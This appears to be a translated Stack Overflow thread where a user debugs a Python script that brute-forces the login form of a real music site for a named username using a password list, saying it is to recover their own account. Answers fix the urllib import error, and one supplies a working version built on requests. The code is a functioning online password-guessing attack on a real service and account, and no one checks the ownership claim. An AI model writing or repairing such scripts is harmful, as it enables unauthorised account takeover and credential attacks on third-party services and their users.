AttributeError: module 'urllib' has no attribute 'request'

I want to remember the password from my old account. Regaled a long time ago.I don't remember my email.I decided to choose a password.

#!/usr/bin/python3

import urllib
import urllib.parse

url = "http://zaycev.net/auth/login.php?badCredentials=2"

username = "mokushi"
listaPassword = "list.txt"

pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()

for i in range(0, len(pwd)):
    if pwd[i][len(pwd[i])-1] == '\n':
        pwd[i] = pwd[i][0:len(pwd[i])-1]

messaggioDiErrore = "Неверная почта или логин"

for password in pwd:
    print("Trying the pass:", password)
    parametriDaTestare = { "j_username" : username, "j_password" : password, "login" : "1" }
    p = urllib.parse.urlencode(parametriDaTestare)
    paginaDiAction = urllib.request.urlopen(url, p)
    risultato = paginaDiAction.read()
    if not(messaggioDiErrore in risultato):
        print("Password found:", password)
        break

Issued by:

Trying the pass: karakulo
Traceback (most recent call last):
File "find_my_pass.py", line 26, in <module>
paginaDiAction = urllib.request.urlopen(url, p)
AttributeError: module 'urllib' has no attribute 'request'

What is my mistake ?


Use requests

Right?

import urllib.parse
import requests

url = "http://zaycev.net/auth/login.php?badCredentials=2"

username = "mokushi"
listaPassword = "list.txt"

pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()

for i in range(0, len(pwd)):
    if pwd[i][len(pwd[i])-1] == '\n':
        pwd[i] = pwd[i][0:len(pwd[i])-1]

messaggioDiErrore = "Неверная почта или логин"

for password in pwd:
    print("Trying the pass:", password)
    parametriDaTestare = { "j_username" : username, "j_password" : password, "login" : "1" }
    p = urllib.parse.urlencode(parametriDaTestare)
    paginaDiAction = requests.post(url, p)
    risultato = paginaDiAction.text
    if not(messaggioDiErrore in risultato):
        print("Password found:", password)
        break

I.e. you will need to import urllib. parse and urllib.request ? When

TypeError: POST data should be bytes, an iterable of bytes, or a file object. It cannot be of type str.

I tried it like this:

#!/usr/bin/python3

import urllib.request
import urllib.parse

url = "http://zaycev.net/auth/login.php?badCredentials=2"

username = "mokushi"
listaPassword = "list.txt"

pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()

for i in range(0, len(pwd)):
    if pwd[i][len(pwd[i])-1] == '\n':
        pwd[i] = pwd[i][0:len(pwd[i])-1]

messaggioDiErrore = "Неверная почта или логин"

for password in pwd:
    print("Trying the pass:", password)
    parametriDaTestare = { "j_username" : username, "j_password" : password, "login" : "1" }
    p = urllib.parse.urlencode(parametriDaTestare)
    binary = p.encode('utf-8')
    paginaDiAction = urllib.request.urlopen(url, binary)
    risultato = paginaDiAction.read()
    if not(messaggioDiErrore in risultato):
        print("Password found:", password)
        break

Another error is returned. But str was converted to byte...:

TypeError: a bytes-like object is required, not 'str'

Author: MarianD, 2018-02-06

2 answers

>>> import urllib
>>> urllib.request
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: module 'urllib' has no attribute 'request'
module 'urllib' has no attribute 'request'

urllib this is a Python package. To use the module urllib.request, it must be imported:

>>> import urllib.request
>>> urllib.request
<module 'urllib.request' from '.../lib/python3.6/urllib/request.py'>
 3
Author: jfs, 2018-02-06 22:35:27

Using requests

Using requests will be easier:

import requests

url = "http://zaycev.net/auth/login.php"

username = "mokushi"
listaPassword = "list.txt"

pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()

for i in range(0, len(pwd)):
    if pwd[i][len(pwd[i])-1] == '\n':
        pwd[i] = pwd[i][0:len(pwd[i])-1]

messaggioDiErrore = "Неверная почта или логин"

for password in pwd:
    print("Trying the pass:", password)
    parametriDaTestare = { "j_username" : username, "j_password" : password, "login" : "1" , "badCredentials": 2}
    paginaDiAction = requests.post(url, params=parametriDaTestare)
    risultato = paginaDiAction.text
    if not(messaggioDiErrore in risultato):
        print("Password found:", password)
        break
 0
Author: Mr Morgan, 2018-02-07 05:46:39